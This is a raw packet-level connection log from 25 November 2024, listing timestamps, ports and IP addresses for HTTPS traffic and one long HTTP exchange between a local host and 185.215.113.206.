Nov 25, 2024 16:21:39.776074886 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:39.776087999 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:39.779436111 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.779503107 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.779679060 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.779756069 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.779771090 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.779781103 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.779787064 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.782043934 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.782068968 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.782130003 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.782155037 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.782250881 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.782974005 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.782999992 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.783066034 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.783206940 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.783220053 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.797300100 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.797322989 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.797358036 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.797372103 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.797394037 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.797415972 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.808038950 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.808058023 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.808123112 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.808149099 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.808273077 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.814026117 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.814065933 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.814086914 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.814100027 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.814116955 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.814121962 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.814165115 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.814505100 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.814522028 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.906599045 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.906924009 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.906955957 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.907347918 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.907668114 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.907771111 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.908025980 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.908116102 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.908126116 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.909797907 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.909862041 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.909926891 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.927970886 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.928014040 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.928136110 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.928508997 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.928524971 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.929322004 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.929353952 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.929368019 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.929375887 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.941504955 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.941540003 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.941605091 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.943093061 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.943113089 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:40.008723974 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.008827925 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.008913040 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.010696888 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.010746002 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.050328970 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:40.050410986 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:40.050509930 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:40.050645113 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:40.050668955 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:40.050683975 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:40.050689936 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:40.053678989 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:40.053719044 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:40.054040909 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:40.054382086 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:40.054393053 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:40.064985991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.065072060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.065093994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.065256119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.065445900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.065479040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.065561056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.065603971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.065663099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.065738916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.066584110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.066628933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.066699028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.066777945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.067600012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.067662001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.067689896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.067781925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.068659067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.068713903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.068741083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.068854094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.069523096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.069576025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.069633961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.069670916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.070511103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.070565939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.070640087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.070686102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.071510077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.071561098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.071595907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.071789980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.072448969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.072490931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.072582006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.072621107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.073498964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.073590040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.073636055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.074436903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.074507952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.074559927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.074598074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.075443029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.075500011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.075534105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.075584888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.076430082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.076481104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.076616049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.076884031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.077430010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.077478886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.077482939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.077517986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.078408003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.078460932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.078521013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.078610897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.079411030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.079464912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.079519033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.079668999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.080363035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.080415010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.080478907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.080521107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.081341028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.081391096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.081516981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.081571102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.082340956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.082393885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.082451105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.082587957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.083326101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.083375931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.083466053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.083581924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.084291935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.084387064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.084405899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.084443092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.085277081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.085339069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.085396051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.085459948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.086328983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.086376905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.086443901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.086491108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.087249994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.087291002 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.087490082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.087532997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.088231087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.088351011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.088402987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.089241982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.089342117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.089390039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.090241909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.090300083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.090358019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.090404034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.091192961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.091245890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.091283083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.091335058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.092194080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.092236042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.092267990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.092307091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.093154907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.093199015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.093271017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.093312979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.094171047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.094254017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.094284058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.094331026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.095159054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.095231056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.095258951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.095298052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.096136093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.096184015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.096237898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.096451998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.097199917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.097244978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.097246885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.097290039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.098093987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.098150015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.098174095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.098212004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.099083900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.099140882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.099219084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.099270105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.100070000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.100152016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.100162029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.100199938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.101170063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.101216078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.101396084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.101438999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.102046967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.102094889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.102190971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.102243900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.103010893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.103086948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.103130102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.104067087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.104114056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.104171038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.104209900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.105015993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.105081081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.105150938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.105308056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.106051922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.106112957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.106122017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.106348991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.106986046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.107043028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.107057095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.107095003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.107948065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.107996941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.108048916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.108086109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.108922958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.108941078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.108989000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.109927893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.109973907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.109988928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.110018015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.110904932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.110959053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.111021996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.111079931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.112010002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.112060070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.112140894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.112184048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.113348007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.113416910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.113431931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.113471985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.114084959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.114098072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.114144087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.114892006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.114949942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.115011930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.115098000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.115859032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.115957022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.116002083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.116796017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.116854906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.116875887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.116914034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.117793083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.117855072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.117878914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.117917061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.233251095 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.233304024 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.233417034 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.233771086 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.233830929 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.234312057 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.234324932 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.234349012 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.234451056 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.234770060 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.234778881 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.235018015 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.235066891 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.235121965 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.235333920 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.235336065 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.235346079 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.235517025 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.235532045 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.235868931 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.235877991 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.235995054 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.236006021 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.236223936 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:40.236243963 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:40.257610083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.257636070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.257678032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.257708073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.257976055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.258106947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.258155107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.259118080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.259181976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.259255886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.259506941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.259954929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.260006905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.260025978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.260091066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.260904074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.261185884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.261246920 CET	49765	80	192.168.2.5	185.215.113.206
